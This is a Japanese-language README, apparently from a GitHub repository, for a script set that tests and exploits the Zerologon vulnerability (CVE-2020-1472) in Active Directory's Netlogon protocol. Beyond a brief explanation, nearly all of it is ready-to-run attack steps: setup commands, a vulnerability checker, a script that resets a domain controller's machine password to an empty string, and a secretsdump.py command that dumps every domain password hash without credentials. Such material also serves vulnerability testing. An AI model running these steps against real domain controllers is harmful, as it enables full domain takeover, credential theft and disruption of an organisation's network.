Zerologon

Zerologon脆弱性（CVE-2020-1472）をテストおよび悪用するためのスクリプトセット

---

これは何ですか？

ZeroLogonは、MicrosoftのActive Directory Netlogon Remote Protocol（MS-NRPC）の暗号化の欠陥を悪用できる脆弱性です。MS-NRPCは、ユーザーがNTLMを使用してサーバーにログインすることを可能にします。

---

事前準備

エクスプロイトを実行する前に、別のバージョンのimpacketが必要であることを知っておく必要があります。そのためには、以下を実行します。

apt remove --purge impacket-scripts python3-impacket

git clone https://github.com/SecureAuthCorp/impacket.git

cd impacket

pip install .

---

PoC（概念実証）

git clone https://github.com/Nekoox/zerologon.git

cd zerologon

pip install -r requirements.txt

被害者のドメインコントローラがzerologonに対して脆弱かどうかを確認する。

python3 tester.py <DC-NAME> <ip-address>

被害者のDCが脆弱な場合、「Success! DC can be fully compromised by a Zerologon attack.」というメッセージが表示されます。

それ以外の場合、つまり被害者のDCがセキュリティホールを修正済みのため脆弱ではない場合は、次のメッセージが表示されます。「Attack failed. Target is probably patched.」

---

脆弱なドメインコントローラのパスワードを空文字列に変更する。

python3 empty_pw.py <DC-NAME> <ip-address>

ドメインコントローラが脆弱な場合、エクスプロイト実行後はパスワードが設定されていない状態になります。

ドメインコントローラのハッシュをダンプする。

> secretsdump.py -just-dc <DC-NAME>\$@<ip-address>

これを実行すると、資格情報なしでドメインのすべてのハッシュを確認できます。